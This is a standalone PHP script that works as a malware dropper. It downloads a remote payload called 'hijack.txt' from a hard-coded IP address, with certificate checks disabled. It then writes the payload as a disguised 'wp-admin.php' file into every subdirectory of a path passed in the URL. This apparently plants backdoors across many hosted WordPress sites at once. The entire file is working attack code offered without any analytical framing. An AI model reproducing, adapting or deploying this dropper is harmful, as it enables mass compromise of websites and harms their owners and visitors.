<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);

$path = isset($_GET['p']) ? $_GET['p'] : '';
$public_html = isset($_GET['a']) ? $_GET['a'] : '';
if ( $path && function_exists( 'curl_init' ) && function_exists( 'curl_exec' ) ) {
    $code = '';
    $ch = curl_init();
    curl_setopt( $ch, CURLOPT_URL, 'http://69.30.227.202/file/hijack.txt' );
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_HEADER, false );
    curl_setopt( $ch, CURLOPT_TIMEOUT, 30 );
    curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
    curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
    $handle = curl_exec( $ch );
    $curl_error = curl_error( $ch );
    if ( $curl_error ) {
        echo $curl_error;
    } else {
        $code = $handle;
    }
    if ( PHP_VERSION_ID < 80000 ) {
        curl_close(  $ch  );
    }
    if ( $code && $handle = opendir( $path ) ) {
        while ( ($file = readdir( $handle ) ) !== false) {
            if ( $file != "." && $file != ".." ) {
                $fullPath = $path . DIRECTORY_SEPARATOR . $file;
                if ( is_dir( $fullPath ) ) {
                    $temp = '/wp-admin.php';
                    if ( $public_html ){
                        $temp = '/'.$public_html.'/wp-admin.php';
                    }
                    file_put_contents( $fullPath.$temp, $code);
                    echo $fullPath.$temp."<br>";
                }
            }
        }
        closedir($handle);
    }else{
        echo 'Get Code Error.';
    }
} else {
    echo 'cUrl Error.';
}
// 20260313
?>